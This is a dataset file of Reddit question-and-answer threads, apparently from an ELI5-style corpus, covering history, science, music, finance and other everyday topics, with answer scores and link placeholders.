{"q_id": "20kw64", "title": "Did the idea of individualism develop anywhere else than Europe?", "selftext": "I know that it developed in Europe around the enlightenment.  \n\nMy question is, did it develop anywhere else before, or unrelated to the Enlightenment?\n\nIf there is a better sub for this please point me in the right direction.  If there is I will post the question there and link it to here.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/20kw64/did_the_idea_of_individualism_develop_anywhere/", "answers": {"a_id": ["cg4bq6o"], "score": [2], "text": ["It really depends on what you mean by individualism. If you confine it to the specific idea that permeated throughout the Enlightenment then yes I would be inclined to say that it was developed there. However, plenty of philosophical elements of individualism can be found in ancient philosophy, particularly in the ancient Chinese tradition. [Zhuangzi](_URL_1_) is one such example. His philosophy revolves around self-cultivation, although it contains Daoist elements which may appear to defy individualism as the Enlightenment sees it. Check [this website](_URL_0_) out if you wish to know more about individualism in Chinese thought."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.iep.utm.edu/ind-chin/#H6", "http://en.wikipedia.org/wiki/Zhuangzi"]]}
{"q_id": "1h06so", "title": "the structure of middle eastern music", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1h06so/eli5the_structure_of_middle_eastern_music/", "answers": {"a_id": ["capkluf", "capmjkg", "capo4a5", "cappojr"], "score": [22, 4, 22, 3], "text": ["could you be more specific on what you want to know? \nI might be able to give an answer, but it really depends on specific countries and if you're talking about how the music is composed, put in order, performed.", "I'm not an expert on the topic, but one system I can tell you about a rhythm method called Konokol. In Western music we have measures of a set number of beats (4/4, 6/8, 13/16, etc) but the idea of Konokol is that you have groupings of notes set around a constant pulse. So turn on your metronome and subdivide by groups of 2, 3, 4, 5, etc. If you've got the head for it, you can stretch these groups across multiple pulses to create phrases. For instance, a very common rhythm in western music is **1**-2-3 **1**-2-3 **1**-2. In Konokol, the pulse of the phrase can either be on the first 1 and the second 2 (think a measure of cut time) or it could be altered so that you have a measure of 3/4 with two triplets and two eighth notes at the end. Polyrhythms are also common, such as 2 against 3.", "Music is made up of scales, and what makes middle eastern music sound different is the type of minor scale that it uses. Basically, the seventh note in the scale going up is a half step higher than it is when you go back down. A half step is the difference between a white key and it's neighboring black key on a piano. This is called a melodic minor scale. \n\nWestern music uses a natural minor or harmonic minor scale. With both of these scales, the 7th note stays the same, either being flatted or natural depending on which were talking about. \n\nIn a similar manner, African/American Slave Spiritual and Oriental music uses a pentatonic scale, basically meaning that it's just the black notes on the piano. This accounts for its different sound. \n\nAnother difference is the beat. Western music typically uses 4/4 time, which means that each measure is 4 beats long. Furthermore, these measures are grouped into phrases of 4, forming 16-beat, or 4-bar phrases. Middle eastern music uses irregular time rather than this very standard western form that I just described. \n\nI can elaborate more if you'd like - I kept it simple since you are five years old. \n\nTL;DR - Uses different minor scale than western music and doesn't use western 4-bar 4/4 phrasing. ", "You might want to try asking over in /r/musictheory... I am sure if you ask them to ELI5 they will try to accommodate as well :)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "13jtsw", "title": "So what is our plan when the Ogallala Aquifer runs \nout of water? How will we sustain all our crops?", "selftext": "I just watched the PBS documentary The Dust Bowl and in it they mention that over half of the aquifer has been used to grow feed corn, and in as little as twenty years the rest of the aquifer could be used up. This sounds really fucking bad.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/13jtsw/so_what_is_our_plan_when_the_ogallala_aquifer/", "answers": {"a_id": ["c74l56f", "c74ssm0"], "score": [15, 4], "text": ["We do have [federal management of the aquifer](_URL_1_), and each state for which it is a resource have their own aquifer management agencies. The [Texas High Plains Water District](_URL_2_) is trying to slow down the depletion while trying to get farmers to improve water use efficiency. One thing they can do is [just plant different crops](_URL_0_) that don't require irrigation. Other states have [changed some of the rules](_URL_3_) to make water conservation easier.", "A further question. \n\nDoes the Aquifer get replenished to any extent by rainwater filtering into the ground?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://texasclimatenews.org/wp/?p=5283", "http://ogallala.ars.usda.gov/index.php", "http://newswatch.nationalgeographic.com/2012/07/19/that-sinking-feeling-about-groundwater-in-texas/", "http://www.agprofessional.com/news/Kansas-governor-calls-on-preservation-of-Ogallala-aquifer-177468081.html"], []]}
{"q_id": "4c5opn", "title": "If a spacecraft travelling at relativistic speed is fitted with a beacon that transmits every 1 second would we on earth get the signal every second or would it space out the faster the craft went?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4c5opn/if_a_spacecraft_travelling_at_relativistic_speed/", "answers": {"a_id": ["d1fac63", "d1faead", "d1fbavr", "d1fbd51", "d1fcb18", "d1fe7xt", "d1fehhj", "d1ffxm8", "d1fmibi"], "score": [12, 64, 2, 83, 2, 4, 2446, 9, 4], "text": ["IIRC there was an experiment where they would shoot laser impulses down drom a scyscraper once every second. They arrived at the bottom in intervals of one second and one nanosecond or so. So they actually do space out. ", "See GPS satellite. [Because an observer on the ground sees the satellites in motion relative to them, Special Relativity predicts that we should see their clocks ticking more slowly (see the Special Relativity lecture). Special Relativity predicts that the on-board atomic clocks on the satellites should fall behind clocks on the ground by about 7 microseconds per day because of the slower ticking rate due to the time dilation effect of their relative motion.](_URL_0_)", "If a space ship traveling at near light speed emitted a signal every second in the space ship reference frame. The observers at rest with respect to the space ship would not receive a signal every second instead the time between each signal would be dilated by some amount depending on the speed of the spacecraft. It would also space out over longer periods as the distance between the Earth and spacecraft increases.", "It depends on the orientation of the craft's velocity vector with respect to Earth. The plain old non-relativistic Doppler effect will (often) win out over relativistic time dilation, so if the craft is moving towards us, we will get the signals at a faster-than-one-second rate. If the craft is moving away from us, we will get them at a slower-than-one-second rate. If it's moving perpendicular to the Earth, then the only effect will be relativistic time dilation, and we will get the signals at a slower-than-one-second rate.\n\n~~I know that at speeds on the slower side of relativistic, the Doppler effect will win out over relativistic time dilation. I'm not sure, however, if there is a speed at which the craft can move towards the observer and have the observer receive the signals slower than a second. I suspect the answer is no.~~\nThe Doppler effect will always win out over time dilation, as is apparent in the [relativistic doppler equation](_URL_0_), which takes both effects into account. Thanks to /u/WanShi_Tong for pointing that out.", "One thing to add: If the craft is approaching Earth, the signals will arrive more frequently due to the Doppler effect. If the craft is getting away from Earth, then the signals will arrive less frequently \u2013 what's known as the red shift. Relativistic effects that you're asking about become important only if the craft is moving around the Earth.", "Depends on which direction is the spacecraft heading. I assume that you launch the space craft from earth heading out, so it will actually \"space out\". That's the easy part.\n\nNow, for qualification, it doesn't matter whether the spacecraft is at relativistic velocity or not. This spacing out is basically what is called the doppler/hoffler effect and it works pretty much the same as the engine noise of a car does, zipping next to your ear. It's changing its pitch from your perspective.\n\nRelativism comes in when you speed up to some significant fraction of c is that not only the frequency of the radio burst will change, but the frequency of the radio wavelength in the transmission starts to be affected.", "As you can see from the other comments, there are different effects at work here. But if the spaceship moves away from you, it will space out. I'll try to summarize:\n\n* **Relativistic time dilation**: From your point of view, the time inside the spacecraft moves slower. This means, it might take several seconds from the point of view of your reference frame until one second has passed in the spaceship.  \nLet's make this precise: If \u03b2=v/c is the speed of the spacecraft in units of c, then there are \u03b3=1/sqrt(1-\u03b2^(2)) seconds between two signal emissions.\n\n* **Classical Doppler Effect**: Because the spacecraft moves away from you, each signal has to travel a larger distance than the previous one.  \nIn the \u03b3 seconds between two emissions, the spacecraft has moved \u03b3\\*v\\*(1s). This means, every emission needs \u03b3\\*v\\*(1s)/c = \u03b3\\*\u03b2 seconds more to reach you than the previous one.  \nAdding those two effects, we see that you will get a signal every \u03b3\\*(1+\u03b2) seconds. (This is called the formula of the *relativistic Doppler effect*.)\n\n* **Expansion of Space**: This effect is tiny, but let's include it for fun. Because space itself is expanding, the two emissions will arrive a little more spaced out than when they were sent out.  \nThe speed with which the signals move apart can be calculated as H\\*d, where H is the Hubble constant and d is the distance of the signals. This distance is initially d=\u03b3\\*(v+c)\\*(1s) because of the contributions of the movement of the ship and of the first signal. We will approximate this distance and therefore the speed as constant, and get that there are additional H\\*\u03b3\\*(\u03b2+1)\\*(r/c) seconds between two signals, where r is the distance of the spaceship from you.\n\n* **Gravitational time dilation**: Because of the Earth's gravitational field, when one second passes in space, only (1 - 6.953*10^(-10)) seconds pass on Earth (see e.g. [here](_URL_0_)). This effect actually counteracts the other effects. By the way: Considering this is crucial for GPS, as others here have mentioned.\n\nAs an example, we take a spaceship at half the speed of light (\u03b2=0.5, \u03b3=1.155) which is one parsec away (r=3.26 lightyears). Because of the relativistic doppler effect, the signals will arrive every 1.732 seconds. The expansion of space adds only 4.16\\*10^(-10) seconds between two signals, which is an even smaller effect than the gravitational time dilation. (At extremely large r, this effect might become relevant though.)\n\n^(*Edit*: Small additions)  \n^(*Edit 2*: Fixed a mistake in the expansion of space part)  \n^(*Edit 3*: Getting too late to reply to all follow-up questions. Thanks for my first gold though!)", "Another wrinkle is this: assume the ship is traveling perpendicular to Earth, so there is no Doppler effect, only special relativity.\n\nYes, we would read the ship's beacon as running slow. But if we were broadcasting a beacon from Earth, the ship would read *our* beacon as running slow, too.\n\n(General relativity doesn't work this way: in a gravity well, the stuff happening in space looks fast, and from space, the stuff in a gravity well looks slow.)", "The beacon transmissions would essentially be \"red shifted,\" but in time instead of color.  As objects move away from us, their lightwaves are lengthened, thus their color is shifted towards the red end of the spectrum, and shifted towards the blue end if they are coming towards us.  Basically, I think the intervals of time between the beacon blips would increase in a similar fashion to the intervals of wavelengths in light.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.astronomy.ohio-state.edu/~pogge/Ast162/Unit5/gps.html"], [], ["https://en.wikipedia.org/wiki/Relativistic_Doppler_effect"], [], [], ["http://www.awitness.org/unifiedm/introgrtd.html"], [], []]}
{"q_id": "ec7mq7", "title": "what is the lgbtq community", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ec7mq7/eli5what_is_the_lgbtq_community/", "answers": {"a_id": ["fb9n7ft"], "score": [2], "text": ["**Please read this entire message**\n\n---\n\nYour submission has been removed for the following reason(s):\n\n* Straightforward or factual queries are not allowed on ELI5. ELI5 is meant for simplifying complex concepts (Rule 2). \n\n\n* Recommended subreddit(s): /r/NoStupidQuestions\n\n---\nIf you would like this removal reviewed, please read the [detailed rules](_URL_0_) first. If you still feel the removal should be reviewed, please [message the moderators.](_URL_1_?)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/explainlikeimfive/wiki/detailed_rules", "http://www.reddit.com/message/compose?to=%2Fr%2Fexplainlikeimfive&amp;subject=Can%20you%20review%20my%20thread"]]}
{"q_id": "64tncz", "title": "who did, and who did not, hitler gas exactly?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/64tncz/eli5who_did_and_who_did_not_hitler_gas_exactly/", "answers": {"a_id": ["dg4wuxd", "dg51k8e"], "score": [12, 3], "text": ["_URL_0_\n\n\"In accordance with the Nazi cross-European policy of genocide against the Jews, the SS \"processed\" thousands of Romani people, (male) homosexuals, the physically and mentally disabled, intellectuals and the clergy from all occupied territories.[4]\"\n\nThe Nazi's murdered many millions of people, not all of whom were Jewish.", "In battle, no.\n\nIn camps, it depends on what you mean.\n\nThe Nazis were primarily focused on killing Jews, Gypsies, ethnic Poles and Slavs (including Soviet POWs), homosexuals, atheists, the disabled, some clergy, Jehova's Witnesses, criminals, and those who they accused of being \"asocial\" (which included intellectuals, communists, anarchists, leftists, or other political enemies), among other groups. Of the total deaths within the camps (which is generally pegged to about 11-12 million), half or so were Jews, and the remaining half is largely dominated by Soviets, Poles, and Serbs.\n\nGranted, gassing wasn't the only way that the Nazis killed people, and both the methods and prisoner demographics varied from camp to camp, but you get the gist of it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Gas_chamber#Nazi_Germany"], []]}
{"q_id": "eus3v9", "title": "buying and selling stock/commodities short term", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/eus3v9/eli5_buying_and_selling_stockcommodities_short/", "answers": {"a_id": ["ffr4b50"], "score": [2], "text": ["As a general rule, yes.  Most stocks/bonds/other commodities don't have manditory holding periods - you could buy it at 12:00 noon and sell it at 12:01 (assuming the transaction cleared).\n\n > What stops people from buying something when it is cheap and just selling as soon as its a smidge above their initial purchase cost?\n\nNothing - a lot of large banks have high-frequency trading people/algorithms that do exactly that.\n\nIt is probably bad for _you_ to try and do that, though, because stocks can go down just as easily as they go up over short periods of time.\n\n > When you use Robin Hood to \"buy into BitCoin\" is Robin Hood \"ACTUALLY\" buying a bitcoin and associating it to your wallet or are you depositing money with the company on the promise of X amount of BTC like investing in gold you never get to see?\n\nIf they tell you they are buying the actual asset, they are required to actually purchase that asset on your behalf.  There are other financial instrument for the \"promise of X\" but they have to be clearly labeled as such."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1cstuq", "title": "When I yank out a lone white hair, will its replacement always be white?", "selftext": "Phrased differently, is it the hair that turns white, or the spot on your head that the hair comes out of? And what exactly causes white hairs, anyways?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1cstuq/when_i_yank_out_a_lone_white_hair_will_its/", "answers": {"a_id": ["c9jocbj", "c9jphna", "c9jpqsc", "c9jrk14", "c9jscpa", "c9jxvrd", "c9k26oj", "c9k3tja"], "score": [990, 41, 17, 39, 17, 7, 2, 2], "text": ["I found [this paper] (_URL_0_) in which the authors attributed achromotrichia, or white hair, to a loss of melanocyte stem cells in the follicle. Given that the problem is in the follicle and not intrinsic to the hair itself, I would posit that any subsequent hairs from that follicle would necessarily also be white. ", "What would make the sane hair both brown and white?  White on the tip, brown at the root.", "Also, is there any truth to the idea that if you pull a white hair out, more will grow or turn white around it? I've heard this my whole life and just assumed it was an old wive's tale, but if the scalp or follicles are damaged in the process of pulling out the white hair, could it also cause surrounding hair/follicles to be damaged?\n", "If we could take a step back, Why does hair grow back when it has been pulled out? \n\nThis is more general, but i thought it would be good to get the basics down before we get complicated.", "This might not apply to the average situation, but [there is a cancer drug that restores the original color of hair](_URL_0_) of many who had gone gray.  I remember seeing this a while back, though I do not know whether the effect somehow restores the individual follicles or replaces them with new ones.", "Related question, I have long hairs that show transition between black and white and black again.  What causes the hairs to turn white?  Is it stress related? ", "Also, you hear stories sometimes that someone goes completely white-haired in a very short amount of time because of some great trauma.  Is that even possible?\n\nEdit: my ere can't here", "While it is very rare for white hairs to grow back in with their earlier color, it has been documented to happen. The mechanism that allows it to do so is currently unknown. A white hair can spontaneously become dark again as well, but again, this is a very rare phenomenon.\n\nI probably should clarify that we are talking about individual hairs, not the hair of an individual. A person may yank a white hair and have it grow back in dark, but it is unlikely that the individual would have two such follicles. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pubmed/15618488"], [], [], [], ["http://news.bbc.co.uk/2/hi/health/2180244.stm"], [], [], []]}
{"q_id": "yau91", "title": "What is your favourite American President speech, and why?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/yau91/what_is_your_favourite_american_president_speech/", "answers": {"a_id": ["c5tvpxl", "c5tw5fp", "c5twkhr", "c5twzau", "c5tx338", "c5txypr", "c5ty6aw", "c5tz9ok", "c5u6ipw"], "score": [8, 6, 5, 2, 5, 3, 6, 3, 3], "text": ["Favorite doesn't mean best, or most inspiring. Also, I'm including impromptu quotations from Q & As. For me it would be the whole \"I'm not a crook\" session Nixon had with the press. It is better worded than Clinton's similar \"I did not have sexual relations with that woman\", while showing the same self-justifying and self-defensive ideas. \n\nWhile other speeches might be more inspiring, grander or have a stronger effect of domestic or international politics, Nixon's answers are timeless, enlightening and memorable - and most importantly highly personal in their tone and style.", "Eisenhower's Military Industrial Complex speech. It's the one he warned about it. Very interesting. I'm not an expert on the area but it's to me like a defined end of one era to the next. ", "Gettysburg Address by Lincoln or Day of Infamy Speech by FDR", "[Not a speech but a letter](_URL_2_). The synagogue is still in use today and is the oldest synagogue still in use.\n\nIt is either that or the Gettysburg Address or the [Reagan address at the Brandenburg Gate](_URL_1_).\n\nOutside the restriction of \"American President speech\" I would venture to the [Churchill speech to Congress](_URL_0_) (humor, commentary on the US/UK relationship, weighty talk, \"masters of our fate,\" hopeful pride).", "[Kennedy's Seperation of Church and State speech](_URL_2_).  Such a powerful speech it likely helped sink Rick Santorums chances at the Republican candidacy this year.\n\n[Nixon's Checkers Speech](_URL_1_).  Brilliant use of television, brilliant appeal to emotion.\n\n[Reagans Challenger Tragedy](_URL_3_).  Speeches like this are why Reagan was called \"The Great Communicator\" and helped keep the American space program strong for years to come.\n\n[Trumans Address to the NAACP](_URL_0_).  Truman basically says that segregation and democracy cannot work together, and America cannot be the leader of the free world and continue as a segregated country.", "Definitely Eisenhower's speech on leaving office about the military industrial complex. This should be law...[Link](_URL_0_)", "Teddy Roosevelt's Bull Moose Speech in 1912. Not because of the contents, but because he was shot in the chest and still gave the speech. ", "It's not the most important speech, or the best, or even exceptionally good, but it's one that always manages to touch me: Obama's victory speech, particularly the bit about Ann Nixon Cooper:\n\n > This election had many firsts and many stories that will be told for generations. But one that's on my mind tonight is about a woman who cast her ballot in Atlanta. She's a lot like the millions of others who stood in line to make their voice heard in this election except for one thing \u2013 Ann Nixon Cooper is 106 years old. \nShe was born just a generation past slavery; a time when there were no cars on the road or planes in the sky; when someone like her couldn't vote for two reasons \u2013 because she was a woman and because of the color of her skin. \nAnd tonight, I think about all that she's seen throughout her century in America \u2013 the heartache and the hope; the struggle and the progress; the times we were told that we can't, and the people who pressed on with that American creed: Yes we can. \nAt a time when women's voices were silenced and their hopes dismissed, she lived to see them stand up and speak out and reach for the ballot. Yes we can. \nWhen there was despair in the dust bowl and depression across the land, she saw a nation conquer fear itself with a New Deal, new jobs and a new sense of common purpose. Yes we can. \nWhen the bombs fell on our harbor and tyranny threatened the world, she was there to witness a generation rise to greatness and a democracy was saved. Yes we can. \nShe was there for the buses in Montgomery, the hoses in Birmingham, a bridge in Selma, and a preacher from Atlanta who told a people that \"We Shall Overcome.\" Yes we can. \nA man touched down on the moon, a wall came down in Berlin, a world was connected by our own science and imagination. And this year, in this election, she touched her finger to a screen, and cast her vote, because after 106 years in America, through the best of times and the darkest of hours, she knows how America can change. Yes we can. \n\n", "**[Johnson's speech on the most important piece of legislation no one knows about.](_URL_0_)**\n\n\n*Mr. Vice President, Mr. Speaker, Mr. Ambassador Goldberg, distinguished Members of the leadership of the Congress, distinguished Governors and mayors, my fellow countrymen:*\n\nWe have called the Congress here this afternoon not only to mark a very historic occasion, but to settle a very old issue that is in dispute. That issue is, to what congressional district does Liberty Island really belong--Congressman Farbstein or Congressman Gallagher? It will be settled by whoever of the two can walk first to the top of the Statue of Liberty.\n\nThis bill that we will sign today is not a revolutionary bill. It does not affect the lives of millions. It will not reshape the structure of our daily lives, or really add importantly to either our wealth or our power.\n\nYet it is still one of the most important acts of this Congress and of this administration.\n\nFor it does repair a very deep and painful flaw in the fabric of American justice. It corrects a cruel and enduring wrong in the conduct of the American Nation.\n\nSpeaker McCormack and Congressman Celler almost 40 years ago first pointed that out in their maiden speeches in the Congress. And this measure that we will sign today will really make us truer to ourselves both as a country and as a people. It will strengthen us in a hundred unseen ways.\n\nI have come here to thank personally each Member of the Congress who labored so long and so valiantly to make this occasion come true today, and to make this bill a reality. I cannot mention all their names, for it would take much too long, but my gratitude--and that of this Nation--belongs to the 89th Congress.\n\nWe are indebted, too, to the vision of the late beloved President John Fitzgerald Kennedy, and to the support given to this measure by the then Attorney General and now Senator, Robert F. Kennedy.\n\nIn the final days of consideration, this bill had no more able champion than the present Attorney General, Nicholas Katzenbach, who, with New York's own \"Manny\" Celler, and Senator Ted Kennedy of Massachusetts, and Congressman Feighan of Ohio, and Senator Mansfield and Senator Dirksen constituting the leadership of the Senate, and Senator Javits, helped to guide this bill to passage, along with the help of the Members sitting in front of me today.\n\nThis bill says simply that from this day forth those wishing to immigrate to America shall be admitted on the basis of their skills and their close relationship to those already here.\n\nThis is a simple test, and it is a fair test. Those who can contribute most to this country--to its growth, to its strength, to its spirit--will be the first that are admitted to this land.\n\nThe fairness of this standard is so self-evident that we may well wonder that it has not always been applied. Yet the fact is that for over four decades the immigration policy of the United States has been twisted and has been distorted by the harsh injustice of the national origins quota system.\n\nUnder that system the ability of new immigrants to come to America depended upon the country of their birth. Only 3 countries were allowed to supply 70 percent of all the immigrants.\n\nFamilies were kept apart because a husband or a wife or a child had been born in the wrong place.\n\nMen of needed skill and talent were denied entrance because they came from southern or eastern Europe or from one of the developing continents.\n\nThis system violated the basic principle of American democracy--the principle that values and rewards each man on the basis of his merit as a man.\n\nIt has been un-American in the highest sense, because it has been untrue to the faith that brought thousands to these shores even before we were a country.\n\nToday, with my signature, this system is abolished.\n\nWe can now believe that it will never again shadow the gate to the American Nation with the twin barriers of prejudice and privilege.\n\nOur beautiful America was built by a nation of strangers. From a hundred different places or more they have poured forth into an empty land, joining and blending in one mighty and irresistible tide.\n\nThe land flourished because it was fed from so many sources--because it was nourished by so many cultures and traditions and peoples.\n\nAnd from this experience, almost unique in the history of nations, has come America's attitude toward the rest of the world. We, because of what we are, feel safer and stronger in a world as varied as the people who make it up--a world where no country rules another and all countries can deal with the basic problems of human dignity and deal with those problems in their own way.\n\nNow, under the monument which has welcomed so many to our shores, the American Nation returns to the finest of its traditions today.\n\nThe days of unlimited immigration are past.\n\nBut those who do come will come because of what they are, and not because of the land from which they sprung.\n\nWhen the earliest settlers poured into a wild continent there was no one to ask them where they came from. The only question was: Were they sturdy enough to make the journey, were they strong enough to clear the land, were they enduring enough to make a home for freedom, and were they brave enough to die for liberty if it became necessary to do so?\n\nAnd so it has been through all the great and testing moments of American history. Our history this year we see in Viet-Nam. Men there are dying--men named Fernandez and Zajac and Zelinko and Mariano and McCormick.\n\nNeither the enemy who killed them nor the people whose independence they have fought to save ever asked them where they or their parents came from. They were all Americans. It was for free men and for America that they gave their all, they gave their lives and selves.\n\nBy eliminating that same question as a test for immigration the Congress proves ourselves worthy of those men and worthy of our own traditions as a Nation.\n\n.....(skipping the part about Cuba)............\n\nOver my shoulders here you can see Ellis Island, whose vacant corridors echo today the joyous sound of long ago voices.\n\nAnd today we can all believe that the lamp of this grand old lady is brighter today-- and the golden door that she guards gleams more brilliantly in the light of an increased liberty for the people from all the countries of the globe.\n\nThank you very much."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://youtu.be/SOQwa73KXbs", "http://www.youtube.com/watch?v=WjWDrTXMgF8", "http://en.wikisource.org/wiki/Letter_to_Touro_Synagogue"], ["http://www.trumanlibrary.org/audio/players/play.php?aud=../mp3s/sr64-54.mp3", "http://www.americanrhetoric.com/speeches/richardnixoncheckers.html", "http://www.americanrhetoric.com/speeches/jfkhoustonministers.html", "http://www.americanrhetoric.com/speeches/ronaldreaganchallenger.htm"], ["http://www.youtube.com/watch?v=8y06NSBBRtY"], [], [], ["http://www.lbjlib.utexas.edu/johnson/archives.hom/speeches.hom/651003.asp"]]}
{"q_id": "1010yh", "title": "I've always had outdoor cats and i never understood something. What compels them to come back home?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1010yh/ive_always_had_outdoor_cats_and_i_never/", "answers": {"a_id": ["c69iz61", "c69j832", "c69j8pb", "c69k0en"], "score": [344, 59, 44, 8], "text": ["Cats are territorial creatures, they basically have a \"home-base\" where they eat, sleep, etc.\n\nA paper on territorial habits of cats: _URL_0_\n\nEasier to digest article:\n_URL_1_", "Is it possible to convince a cat to change its \"home base\" or will it always go back to the original until somehow kept from doing so?", "According to [this](_URL_0_) article, cats are social species, and only stay in a solitary state when food resources are too minimal to allow a social group to form. Also, according to the same source they have established territories, so it makes sense that they'd show back up at your house which would be part of their range. \n\nEdit--Moving this bit to say the above is cited and these are my speculations based upon what I read in that article: While this article is specifically talking about interactions with other cats, I think the socialization points can be applied to humans, in much the same way that domesticated dogs bond to humans instead of other members of a dog/wolfpack.", "I have heard about cats going away from home to die, is that true?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://onlinelibrary.wiley.com/doi/10.1002/jwmg.145/abstract?systemMessage=Wiley+Online+Library+will+be+disrupted+21+May+from+10-12+BST+for+monthly+maintenance", "http://news.illinois.edu/news/11/0526_cat_study_Horn-Mateus-Warner.html"], [], ["http://zoopsy.free.fr/veille_biblio/social_organization_cat_2004.pdf"], []]}
{"q_id": "2p5dm8", "title": "why aren't there more options for good, wired internet in rural areas of northern america?", "selftext": "I find it odd that something so important now-a-days is not an option to a very large majority.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2p5dm8/eli5_why_arent_there_more_options_for_good_wired/", "answers": {"a_id": ["cmtj24q"], "score": [11], "text": ["Cost.  Where I grew up cable wasn't an option because they would have to run cable 20 miles from their nearest line at the time and even if 100% of the people in my area subscribed, it wouldn't generate enough revenue to make up for the installation costs, not to mention maintenance and repair.  It's still not available in that area today (20 years later) but at least the satellite companies offer an affordable option for both TV and internet.  It's not a connection that you can game with, but at least you have access to the information available via the web. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1if6pd", "title": "Does coffee at the bottom of the bottom of the pot contain more caffeine?", "selftext": "people sometimes joke about the \"bottom of the pot\" coffee, and say that it has more caffeine in it.\n\ncoffee definitely taste different by the end of the day, i assume because of evaporation. but does evaporation also mean the coffee has more caffeine in it?\n\nedit: oops, said bottom of the twice. meh, still works", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1if6pd/does_coffee_at_the_bottom_of_the_bottom_of_the/", "answers": {"a_id": ["cb3y5pv", "cb4055q", "cb42jlg", "cb49obm", "cb4f07u"], "score": [59, 2, 4, 2, 2], "text": ["If we assume that caffeine is evenly distributed, and we know that evaporation occurs throughout the day, the remaining liquid would logically have a higher concentration of caffeine. However, this isn't a result of the location of the solution, but rather the evaporation of solvent.\n\nCoffee taste different by the end of the day because of hydrolysis. You have many phenolic compounds that give coffee its distinctive flavour, but they can hydrolyze, especially in the presence of heat, into their respective acids. This is why coffee that's been heated for too long can taste sour - and this is likely the reason for the different taste, and not any changes in caffeine concentration.", "It depends, are we talking about a peculator or a coffee press?\n\nA coffee press would certainly have more caffeine as it has more time to absorb from the beans.", "On another note, is coffee a colloid?", "Yes and no. Caffeine by itself is more soluble in oils than it is in water. Acidic water can certainly increase the solubility of caffeine in water, but unless the water is very acidic, some of the caffeine is still going to want to be in an oil layer. There are a few oils that come through the brewing process and into the coffee pot and there will be higher concentrations of caffeine in this oil on the surface.\n\n*But ....*\n\nFilters aren't perfect. Some solids make their way into the coffee pot also. Although the brewing process tries to remove as much soluble caffeine as possible from the solid matter, the process leaves some caffeine in the material. Any of that material that makes it into the pot is going to continue to release caffeine into solution.\n\nNext ...\n\nCaffeine is somewhat denser than water, and even more-so when it is stabilized by an acid in solution, so if the pot was not being heated (actually, being kept cold would be better), and was left perfectly still, caffeine could slightly concentrate in the lower bits.\n\nFurthermore ....\n\nCaffeine breaks down. The heat, light, and environment will cause some degradation of caffeine as it's been sitting there. How much I'd not be able to say off the top of my head.\n\nSo ....\n\nBetween everything I think it'd be impossible to tell whether there is more caffeine in the bottom of a pot without testing that particular pot. I strongly suspect that the amount of caffeine does not change significantly as the pot gets consumed.", "Does coffee actually contain less caffeine after a while? I have noticed that the coffee as it's getting cold, and when reheated, not only tastes worse, but also appears to be weaker in terms of caffeine levels. Is this true?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1pbrqa", "title": "Is it true Adolph Hitler planned to use the Nebraska State Capital Building as the HQ of the Third Riech upon a successful Nazi occupation of the United States?", "selftext": "Have heard this rumor that the blue-prints to the Nebraska State Capital were found in his desk in the F\u00fchrerbunker. True?\n\nNebraska State Capital: _URL_0_", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1pbrqa/is_it_true_adolph_hitler_planned_to_use_the/", "answers": {"a_id": ["cd0t3pf", "cd0u9s1", "cd0xfii"], "score": [3, 36, 6], "text": ["I've heard something similar about the Mitchell Library in Glasgow, wonder if anyone knows about that as well?", "I am not aware of this, I have not come across any serious source for Nazi plans to occupy the United States. Is an absense of proof, proof that it isn't true? No but I would not put any hopes on it.\n\n_URL_0_\n\nOld Life magazine article where Hitler states that invading the United States was as fantastic as invading the moon. This is a public interview but he actually has a point. The logistics involved are unfathomable, and they knew this. They had there eye on the east (Lebensraum). The Nazi's weren't out for world domination, they didn't even have intentions to occupy Western Europe in the long term... (But probably a quasi-facist confederation with Nazi friendly states).\nFrom a very cold perspective it was a colonial project (including killing those 'savage' locals), Russia provided plenty of land and resources to make German viable as a global power like Britain. The intention wasn't to be the only power.\n\nImperial Germany did have plans for an invasion in the US.\n_URL_1_\n\nBut thats all they where, plans. The US Military today (and the same goes for most militaries) have plans for every conceiveable scenario, so the presence of military plans does not imply it is every seriously considered, a good military plans for all scenarios however inconceiveable.\n\n", "Like /u/Spiona, I haven't heard about any Nazi plan to conquer, occupy, or even seriously invade the United States.  They drew a vague line across Asia with the idea of dividing it with the Japanese; I haven't even heard anything that vague about North America.  Further, considering the chaos of Nazi government, with numerous bureaus and offices fighting each other for influence in each conquered territory, I would be shocked if they had laid out a specific headquarters site so far in advance of conquering anywhere.\n\nIf the Nebraska State Capital blueprints were found on Hitler's desk (I haven't studied the contents of the Fuhrerbunker), I'd instead trace it to his love for architecture.  He and Speer would routinely 